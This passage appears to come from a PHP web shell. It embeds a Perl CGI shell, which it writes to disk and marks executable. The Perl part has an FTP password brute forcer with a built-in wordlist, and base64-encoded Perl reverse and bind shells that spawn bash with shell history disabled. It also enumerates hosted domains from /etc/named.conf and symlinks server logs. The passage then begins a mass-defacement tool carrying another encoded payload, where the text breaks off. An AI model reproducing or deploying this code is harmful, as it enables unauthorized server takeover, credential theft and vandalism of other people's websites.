name=\"pass\">123pass\r\n123!@#\r\n123admin\r\n123abc\r\n123456admin\r\n1234554321\r\n12344321\r\npass123\r\nadmin\r\nadmincp\r\nadministrator\r\nmatkhau\r\npassadmin\r\np@ssword\r\np@ssw0rd\r\npassword\r\n123456\r\n1234567\r\n12345678\r\n123456789\r\n1234567890\r\n111111\r\n000000\r\n222222\r\n333333\r\n444444\r\n555555\r\n666666\r\n777777\r\n888888\r\n999999\r\n123123\r\n234234\r\n345345\r\n456456\r\n567567\r\n678678\r\n789789\r\n123321\r\n456654\r\n654321\r\n7654321\r\n87654321\r\n987654321\r\n0987654321\r\nadmin123\r\nadmin123456\r\nabcdef\r\nabcabc\r\n!@#!@#\r\n!@#\$%^\r\n!@#\$%^&*(\r\n!@#\$\$#@!\r\nabc123\r\nanhyeuem\r\niloveyou</textarea>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\" align=\"center\">\r\nSleep:<select name=\"sleep\">\r\n\r\n<option>0</option>\r\n<option>1</option>\r\n<option>2</option>\r\n\r\n<option>3</option>\r\n</select> \r\n<input type=\"submit\" class=\"submit\" value=\"Brute Forcer\"/></td></tr>\r\n</form>\r\n</table>\r\nEND\r\nreturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Brute Forcer\r\n#------------------------------------------------------------------------------\r\nsub BruteForcer\r\n{\r\n\tmy \$result=\"\";\r\n\t\$Server=\$ENV{'SERVER_ADDR'};\r\n\tif(\$in{'user'} eq \"\")\r\n\t{\r\n\t\t\$result .= &BruteForcerForm;\r\n\t}else\r\n\t{\r\n\t\tuse Net::FTP; \r\n\t\t@user= split(/\\n/, \$in{'user'});\r\n\t\t@pass= split(/\\n/, \$in{'pass'});\r\n\t\tchomp(@user);\r\n\t\tchomp(@pass);\r\n\t\t\$result .= \"<br><br>[+] Trying brute \$ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\\n\";\r\n\t\tforeach \$username (@user)\r\n\t\t{\r\n\t\t\tif(!(\$username eq \"\"))\r\n\t\t\t{\r\n\t\t\t\tforeach \$password (@pass)\r\n\t\t\t\t{\r\n\t\t\t\t\t\$ftp = Net::FTP->new(\$Server) or die \"Could not connect to \$ServerName\\n\"; \r\n\t\t\t\t\tif(\$ftp->login(\"\$username\",\"\$password\"))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$result .= \"<a target='_blank' href='ftp://\$username:\$password\\@\$Server'>[+] ftp://\$username:\$password\\@\$Server</a><br>\\n\";\r\n\t\t\t\t\t\t\$ftp->quit();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(!(\$in{'sleep'} eq \"0\"))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tsleep(int(\$in{'sleep'}));\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\$ftp->quit();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\$result .= \"\\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\\n\";\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Backconnect Form\r\n#------------------------------------------------------------------------------\r\nsub BackBindForm\r\n{\r\n\treturn <<END;\r\n\t<br><br>\r\n\r\n\t<table>\r\n\t<tr>\r\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\t<td>BackConnect: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\r\n\t<td> Host: <input type=\"text\" size=\"20\" name=\"clientaddr\" value=\"\$ENV{'REMOTE_ADDR'}\">\r\n\t Port: <input type=\"text\" size=\"7\" name=\"clientport\" value=\"80\" onkeyup=\"document.getElementById('ba').innerHTML=this.value;\"></td>\r\n\r\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Connect\"></td>\r\n\t</form>\r\n\t</tr>\r\n\t<tr>\r\n\t<td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!\r\n\t<br>[+] Try check your Port with <a target=\"_blank\" href=\"http://www.canyouseeme.org/\">http://www.canyouseeme.org/</a>\r\n\t<br>[+] Client listen with command: <run>nc -vv -l -p <span id=\"ba\">80</span></run></font></td>\r\n\r\n\t</tr>\r\n\t</table>\r\n\r\n\t<br><br>\r\n\t<table>\r\n\t<tr>\r\n\t<form method=\"POST\" action=\"\$ScriptLocation\">\r\n\t<td>Bind Port: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\r\n\r\n\t<td> Port: <input type=\"text\" size=\"15\" name=\"clientport\" value=\"1412\" onkeyup=\"document.getElementById('bi').innerHTML=this.value;\">\r\n\r\n\t Password: <input type=\"text\" size=\"15\" name=\"bindpass\" value=\"THIEUGIABUON\"></td>\r\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Bind\"></td>\r\n\t</form>\r\n\t</tr>\r\n\t<tr>\r\n\t<td colspan=3><font color=#FFFFFF>[+] Chuc nang chua dc test!\r\n\t<br>[+] Try command: <run>nc \$ENV{'SERVER_ADDR'} <span id=\"bi\">1412</span></run></font></td>\r\n\r\n\t</tr>\r\n\t</table><br>\r\nEND\r\n}\r\n#------------------------------------------------------------------------------\r\n# Backconnect use perl\r\n#------------------------------------------------------------------------------\r\nsub BackBind\r\n{\r\n\tuse MIME::Base64;\r\n\tuse Socket;\t\r\n\t\$backperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7\";\r\n\t\$bindperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=\";\r\n\r\n\t\$ClientAddr = \$in{'clientaddr'};\r\n\t\$ClientPort = int(\$in{'clientport'});\r\n\tif(\$ClientPort eq 0)\r\n\t{\r\n\t\treturn &BackBindForm;\r\n\t}elsif(!\$ClientAddr eq \"\")\r\n\t{\r\n\t\t\$Data=decode_base64(\$backperl);\r\n\t\tif(-w \"/tmp/\")\r\n\t\t{\r\n\t\t\t\$File=\"/tmp/backconnect.pl\";\t\r\n\t\t}else\r\n\t\t{\r\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"backconnect.pl\";\r\n\t\t}\r\n\t\topen(FILE, \">\$File\");\r\n\t\tprint FILE \$Data;\r\n\t\tclose FILE;\r\n\t\tsystem(\"perl backconnect.pl \$ClientAddr \$ClientPort\");\r\n\t\tunlink(\$File);\r\n\t\texit 0;\r\n\t}else\r\n\t{\r\n\t\t\$Data=decode_base64(\$bindperl);\r\n\t\tif(-w \"/tmp\")\r\n\t\t{\r\n\t\t\t\$File=\"/tmp/bindport.pl\";\t\r\n\t\t}else\r\n\t\t{\r\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"bindport.pl\";\r\n\t\t}\r\n\t\topen(FILE, \">\$File\");\r\n\t\tprint FILE \$Data;\r\n\t\tclose FILE;\r\n\t\tsystem(\"perl bindport.pl \$ClientPort\");\r\n\t\tunlink(\$File);\r\n\t\texit 0;\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n#  Array List Directory\r\n#------------------------------------------------------------------------------\r\nsub RmDir(\$) \r\n{\r\n\tmy \$dir = shift;\r\n    if(opendir(DIR,\$dir))\r\n\t{\r\n\t\twhile(\$file = readdir(DIR))\r\n\t\t{\r\n\t\t\tif((\$file ne \".\") && (\$file ne \"..\"))\r\n\t\t\t{\r\n\t\t\t\t\$file= \$dir.\$PathSep.\$file;\r\n\t\t\t\tif(-d \$file)\r\n\t\t\t\t{\r\n\t\t\t\t\t&RmDir(\$file);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tunlink(\$file);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tclosedir(DIR);\r\n\t}\r\n\tif(!rmdir(\$dir))\r\n\t{\r\n\t\t\r\n\t}\r\n}\r\nsub FileOwner(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tif(-e \$file)\r\n\t{\r\n\t\t(\$uid,\$gid) = (stat(\$file))[4,5];\r\n\t\tif(\$WinNT)\r\n\t\t{\r\n\t\t\treturn \"???\";\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$name=getpwuid(\$uid);\r\n\t\t\t\$group=getgrgid(\$gid);\r\n\t\t\treturn \$name.\"/\".\$group;\r\n\t\t}\r\n\t}\r\n\treturn \"???\";\r\n}\r\nsub ParentFolder(\$)\r\n{\r\n\tmy \$path = shift;\r\n\tmy \$Comm = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd ..\".\$CmdSep.\$CmdPwd;\r\n\tchop(\$path = `\$Comm`);\r\n\treturn \$path;\r\n}\r\nsub FilePerms(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tmy \$ur = \"-\";\r\n\tmy \$uw = \"-\";\r\n\tif(-e \$file)\r\n\t{\r\n\t\tif(\$WinNT)\r\n\t\t{\r\n\t\t\tif(-r \$file){ \$ur = \"r\"; }\r\n\t\t\tif(-w \$file){ \$uw = \"w\"; }\r\n\t\t\treturn \$ur . \" / \" . \$uw;\r\n\t\t}else\r\n\t\t{\r\n\t\t\t\$mode=(stat(\$file))[2];\r\n\t\t\t\$result = sprintf(\"%04o\", \$mode & 07777);\r\n\t\t\treturn \$result;\r\n\t\t}\r\n\t}\r\n\treturn \"0000\";\r\n}\r\nsub FileLastModified(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tif(-e \$file)\r\n\t{\r\n\t\t(\$la) = (stat(\$file))[9];\r\n\t\t(\$d,\$m,\$y,\$h,\$i) = (localtime(\$la))[3,4,5,2,1];\r\n\t\t\$y = \$y + 1900;\r\n\t\t@month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;\r\n\t\t\$lmtime = sprintf(\"%02d/%s/%4d %02d:%02d\",\$d,\$month[\$m],\$y,\$h,\$i);\r\n\t\treturn \$lmtime;\r\n\t}\r\n\treturn \"???\";\r\n}\r\nsub FileSize(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tif(-f \$file)\r\n\t{\r\n\t\treturn -s \$file;\r\n\t}\r\n\treturn \"0\";\r\n\r\n}\r\nsub ParseFileSize(\$)\r\n{\r\n\tmy \$size = shift;\r\n\tif(\$size <= 1024)\r\n\t{\r\n\t\treturn \$size. \" B\";\r\n\t}\r\n\telse\r\n\t{\r\n\t\tif(\$size <= 1024*1024) \r\n\t\t{\r\n\t\t\t\$size = sprintf(\"%.02f\",\$size / 1024);\r\n\t\t\treturn \$size.\" KB\";\r\n\t\t}\r\n\t\telse \r\n\t\t{\r\n\t\t\t\$size = sprintf(\"%.2f\",\$size / 1024 / 1024);\r\n\t\t\treturn \$size.\" MB\";\r\n\t\t}\r\n\t}\r\n}\r\nsub trim(\$)\r\n{\r\n\tmy \$string = shift;\r\n\t\$string =~ s/^\\s+//;\r\n\t\$string =~ s/\\s+\$//;\r\n\treturn \$string;\r\n}\r\nsub AddSlashes(\$)\r\n{\r\n\tmy \$string = shift;\r\n\t\$string=~ s/\\\\/\\\\\\\\/g;\r\n\treturn \$string;\r\n}\r\nsub ListDir\r\n{\r\n\tmy \$path = \$CurrentDir.\$PathSep;\r\n\t\$path=~ s/\\\\\\\\/\\\\/g;\r\n\tmy \$result = \"<form name='f' action='\$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ \".&AddLinkDir(\"gui\").\" ] </span><input type='text' name='d' size='40' value='\$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>\";\r\n\tif(-d \$path)\r\n\t{\r\n\t\tmy @fname = ();\r\n\t\tmy @dname = ();\r\n\t\tif(opendir(DIR,\$path))\r\n\t\t{\r\n\t\t\twhile(\$file = readdir(DIR))\r\n\t\t\t{\r\n\t\t\t\t\$f=\$path.\$file;\r\n\t\t\t\tif(-d \$f)\r\n\t\t\t\t{\r\n\t\t\t\t\tpush(@dname,\$file);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tpush(@fname,\$file);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tclosedir(DIR);\r\n\t\t}\r\n\t\t@fname = sort { lc(\$a) cmp lc(\$b) } @fname;\r\n\t\t@dname = sort { lc(\$a) cmp lc(\$b) } @dname;\r\n\t\t\$result .= \"<div><table width='90%' class='listdir'>\r\n\r\n\t\t<tr style='background-color: #3e3e3e'><th>File Name</th>\r\n\t\t<th style='width:100px;'>File Size</th>\r\n\t\t<th style='width:150px;'>Owner</th>\r\n\t\t<th style='width:100px;'>Permission</th>\r\n\t\t<th style='width:150px;'>Last Modified</th>\r\n\t\t<th style='width:260px;'>Action</th></tr>\";\r\n\t\tmy \$style=\"line\";\r\n\t\tmy \$i=0;\r\n\t\tforeach my \$d (@dname)\r\n\t\t{\r\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\r\n\t\t\t\$d = &trim(\$d);\r\n\t\t\t\$dirname=\$d;\r\n\t\t\tif(\$d eq \"..\") \r\n\t\t\t{\r\n\t\t\t\t\$d = &ParentFolder(\$path);\r\n\t\t\t}\r\n\t\t\telsif(\$d eq \".\") \r\n\t\t\t{\r\n\t\t\t\t\$d = \$path;\r\n\t\t\t}\r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\t\$d = \$path.\$d;\r\n\t\t\t}\r\n\t\t\t\$result .= \"<tr class='\$style'>\r\n\r\n\t\t\t<td id='File_\$i' style='font: 11pt Verdana; font-weight: bold;'><a  href='?a=gui&d=\".\$d.\"'>[ \".\$dirname.\" ]</a></td>\";\r\n\t\t\t\$result .= \"<td>DIR</td>\";\r\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$d).\"</td>\";\r\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$d).\"','\".\$dirname.\"')\\\" ><span onclick=\\\"chmod_form(\".\$i.\",'\".\$dirname.\"')\\\" >\".&FilePerms(\$d).\"</span></td>\";\r\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$d).\"</td>\";\r\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$dirname','\".&AddSlashes(&AddSlashes(\$d)).\"')\\\">Rename</a>  | <a onclick=\\\"if(!confirm('Remove dir: \$dirname ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$dirname'>Remove</a></td>\";\r\n\t\t\t\$result .= \"</tr>\";\r\n\t\t\t\$i++;\r\n\t\t}\r\n\t\tforeach my \$f (@fname)\r\n\t\t{\r\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\r\n\t\t\t\$file=\$f;\r\n\t\t\t\$f = \$path.\$f;\r\n\t\t\t\$view = \"?dir=\".\$path.\"&view=\".\$f;\r\n\t\t\t\$result .= \"<tr class='\$style'><td id='File_\$i' style='font: 11pt Verdana;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>\".\$file.\"</a></td>\";\r\n\t\t\t\$result .= \"<td>\".&ParseFileSize(&FileSize(\$f)).\"</td>\";\r\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$f).\"</td>\";\r\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$f).\"','\".\$file.\"')\\\" ><span onclick=\\\"chmod_form(\$i,'\$file')\\\" >\".&FilePerms(\$f).\"</span></td>\";\r\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$f).\"</td>\";\r\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>Edit</a> | <a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$file','f')\\\">Rename</a> | <a href='?a=download&o=go&f=\".\$f.\"'>Download</a> | <a onclick=\\\"if(!confirm('Remove file: \$file ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$file'>Remove</a></td>\";\r\n\t\t\t\$result .= \"</tr>\";\r\n\t\t\t\$i++;\r\n\t\t}\r\n\t\t\$result .= \"</table></div>\";\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Try to View List User\r\n#------------------------------------------------------------------------------\r\nsub ViewDomainUser\r\n{\r\n\topen (domains, '/etc/named.conf') or \$err=1;\r\n\tmy @cnzs = <domains>;\r\n\tclose d0mains;\r\n\tmy \$style=\"line\";\r\n\tmy \$result=\"<h5><font style='font: 15pt Verdana;color: #ff9900;'>Hoang Sa - Truong Sa</font></h5>\";\r\n\tif (\$err)\r\n\t{\r\n\t\t\$result .=  ('<p>C0uldn\\'t Bypass it , Sorry</p>');\r\n\t\treturn \$result;\r\n\t}else\r\n\t{\r\n\t\t\$result .= '<table><tr><th>Domains</th> <th>User</th></tr>';\r\n\t}\r\n\tforeach my \$one (@cnzs)\r\n\t{\r\n\t\tif(\$one =~ m/.*?zone \"(.*?)\" {/)\r\n\t\t{\t\r\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\r\n\t\t\t\$filename= \"/etc/valiases/\".\$one;\r\n\t\t\t\$owner = getpwuid((stat(\$filename))[4]);\r\n\t\t\t\$result .= '<tr class=\"\$style\" width=50%><td>'.\$one.' </td><td> '.\$owner.'</td></tr>';\r\n\t\t}\r\n\t}\r\n\t\$result .= '</table>';\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# View Log\r\n#------------------------------------------------------------------------------\r\nsub ViewLog\r\n{\r\n\tif(\$WinNT)\r\n\t{\r\n\t\treturn \"<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>\";\r\n\t}\r\n\tmy \$result=\"<table><tr><th>Path Log</th><th>Submit</th></tr>\";\r\n\tmy @pathlog=(\r\n\t\t\t\t'/usr/local/apache/logs/error_log',\r\n\t\t\t\t'/var/log/httpd/error_log',\r\n\t\t\t\t'/usr/local/apache/logs/access_log'\r\n\t\t\t\t);\r\n\tmy \$i=0;\r\n\tmy \$perms;\r\n\tmy \$sl;\r\n\tforeach my \$log (@pathlog)\r\n\t{\r\n\t\tif(-w \$log)\r\n\t\t{\r\n\t\t\t\$perms=\"OK\";\r\n\t\t}else\r\n\t\t{\r\n\t\t\tchop(\$sl = `ln -s \$log error_log_\$i`);\r\n\t\t\tif(&trim(\$ls) eq \"\")\r\n\t\t\t{\r\n\t\t\t\tif(-r \$ls)\r\n\t\t\t\t{\r\n\t\t\t\t\t\$perms=\"OK\";\r\n\t\t\t\t\t\$log=\"error_log_\".\$i;\r\n\t\t\t\t}\r\n\t\t\t}else\r\n\t\t\t{\r\n\t\t\t\t\$perms=\"<font style='color: red;'>Cancel<font>\";\r\n\t\t\t}\r\n\t\t}\r\n\t\t\$result .=<<END;\r\n\t\t<tr>\r\n\r\n\t\t\t<form action=\"\" method=\"post\">\r\n\t\t\t<td><input type=\"text\" onkeyup=\"document.getElementById('log_\$i').value='less ' + this.value;\" value=\"\$log\" size='50'/></td>\r\n\t\t\t<td><input class=\"submit\" type=\"submit\" value=\"Try\" /></td>\r\n\t\t\t<input type=\"hidden\" id=\"log_\$i\" name=\"c\" value=\"less \$log\"/>\r\n\t\t\t<input type=\"hidden\" name=\"a\" value=\"command\" />\r\n\t\t\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\" />\r\n\t\t\t</form>\r\n\t\t\t<td>\$perms</td>\r\n\r\n\t\t</tr>\r\nEND\r\n\t\t\$i++;\r\n\t}\r\n\t\$result .=\"</table>\";\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Main Program - Execution Starts Here\r\n#------------------------------------------------------------------------------\r\n&ReadParse;\r\n&GetCookies;\r\n\r\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\r\n\$ServerName = \$ENV{'SERVER_NAME'};\r\n\$LoginPassword = \$in{'p'};\r\n\$RunCommand = \$in{'c'};\r\n\$TransferFile = \$in{'f'};\r\n\$Options = \$in{'o'};\r\n\$Action = \$in{'a'};\r\n\r\n\$Action = \"command\" if(\$Action eq \"\"); # no action specified, use default\r\n\r\n# get the directory in which the commands will be executed\r\n\$CurrentDir = &trim(\$in{'d'});\r\n# mac dinh xuat thong tin neu ko co lenh nao!\r\n\$RunCommand= \$WinNT?\"dir\":\"dir -lia\" if(\$RunCommand eq \"\");\r\nchop(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\r\n\r\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\r\n\r\nif(\$Action eq \"login\" || !\$LoggedIn) \t\t# user needs/has to login\r\n{\r\n\t&PerformLogin;\r\n}elsif(\$Action eq \"gui\") # GUI directory\r\n{\r\n\t&PrintPageHeader;\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\t\$chmod=int(\$in{'chmod'});\r\n\t\tif(!(\$chmod eq 0))\r\n\t\t{\r\n\t\t\t\$chmod=int(\$in{'chmod'});\r\n\t\t\t\$file=\$CurrentDir.\$PathSep.\$TransferFile;\r\n\t\t\tchop(\$result= `chmod \$chmod \"\$file\"`);\r\n\t\t\tif(&trim(\$result) eq \"\")\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Done! </run><br>\";\r\n\t\t\t}else\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\$rename=\$in{'rename'};\r\n\tif(!\$rename eq \"\")\r\n\t{\r\n\t\tif(rename(\$TransferFile,\$rename))\r\n\t\t{\r\n\t\t\tprint \"<run> Done! </run><br>\";\r\n\t\t}else\r\n\t\t{\r\n\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t\t}\r\n\t}\r\n\t\$remove=\$in{'remove'};\r\n\tif(\$remove ne \"\")\r\n\t{\r\n\t\t\$rm = \$CurrentDir.\$PathSep.\$remove;\r\n\t\tif(-d \$rm)\r\n\t\t{\r\n\t\t\t&RmDir(\$rm);\r\n\t\t}else\r\n\t\t{\r\n\t\t\tif(unlink(\$rm))\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Done! </run><br>\";\r\n\t\t\t}else\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t\t\t}\t\t\t\r\n\t\t}\r\n\t}\r\n\tprint &ListDir;\r\n\r\n}\r\nelsif(\$Action eq \"command\")\t\t\t\t \t# user wants to run a command\r\n{\r\n\t&PrintPageHeader(\"c\");\r\n\tprint &ExecuteCommand;\r\n}\r\nelsif(\$Action eq \"save\")\t\t\t\t \t# user wants to save a file\r\n{\r\n\t&PrintPageHeader;\r\n\tif(&SaveFile(\$in{'data'},\$in{'file'}))\r\n\t{\r\n\t\tprint \"<run> Done! </run><br>\";\r\n\t}else\r\n\t{\r\n\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t}\r\n\tprint &ListDir;\r\n}\r\nelsif(\$Action eq \"upload\") \t\t\t\t\t# user wants to upload a file\r\n{\r\n\t&PrintPageHeader;\r\n\r\n\tprint &UploadFile;\r\n}\r\nelsif(\$Action eq \"backbind\") \t\t\t\t# user wants to back connect or bind port\r\n{\r\n\t&PrintPageHeader(\"clientport\");\r\n\tprint &BackBind;\r\n}\r\nelsif(\$Action eq \"bruteforcer\") \t\t\t# user wants to brute force\r\n{\r\n\t&PrintPageHeader;\r\n\tprint &BruteForcer;\r\n}elsif(\$Action eq \"download\") \t\t\t\t# user wants to download a file\r\n{\r\n\tprint &DownloadFile;\r\n}elsif(\$Action eq \"checklog\") \t\t\t\t# user wants to view log file\r\n{\r\n\t&PrintPageHeader;\r\n\tprint &ViewLog;\r\n\r\n}elsif(\$Action eq \"domainsuser\") \t\t\t# user wants to view list user/domain\r\n{\r\n\t&PrintPageHeader;\r\n\tprint &ViewDomainUser;\r\n}elsif(\$Action eq \"logout\") \t\t\t\t# user wants to logout\r\n{\r\n\t&PerformLogout;\r\n}\r\n&PrintPageFooter;");
        fwrite($htcgi, $isi_htcgi);
        chmod($file_cgi, 0755);
        chmod($memeg, 0755);
        echo "<br><center>Done ... <a href='hex_cgi/cgi.hex' target='_blank'>Click Here</a></div>";
        hardFooter();
    }
    // Mass Deface Section Start
    function actionSql()
    {
        hardHeader();
        echo "<center><h1>Mass Tools</h1><div class=content><br>";
        @ini_set('display_errors', 0);
        $cgi_dir = mkdir('hex_tools', 0755);
        chdir('hex_tools');
        $file_mass = "mas.php";
        $mass_script = "PD9waHAgCkBpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsIDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZWNobyAiPGNlbnRlcj48Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCI+ICI7CmZ1bmN0aW9uIGVkaXRfZmlsZSgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoaXNfd3JpdGFibGUoJGZpbGUpKSB7CiAgICAgICAgY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KTsKICAgICAgICBlY2hvICI8U3BhbiBzdHlsZT0nY29sb3I6Z3JlZW47Jz48c3Ryb25nPiBbK10gRG9uZSAxMDAlIFN1Y2Nlc3NmdWxsIDwvc3Ryb25nPjwvc3Bhbj48YnI+PC9jZW50ZXI+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiPFNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPjxzdHJvbmc+IFstXSBGYWlsZWQgOiggPC9zdHJvbmc+PC9zcGFuPjxicj48L2NlbnRlcj4iOyAKICAgIH0KfSAKZnVuY3Rpb24gaGFwdXNfTWFzc2FsKCRkaXIsICRuYW1hZmlsZSkgewogICAgaWYgKGlzX3dyaXRhYmxlKCRkaXIpKSB7CiAgICAgICAgJGRpcmEgP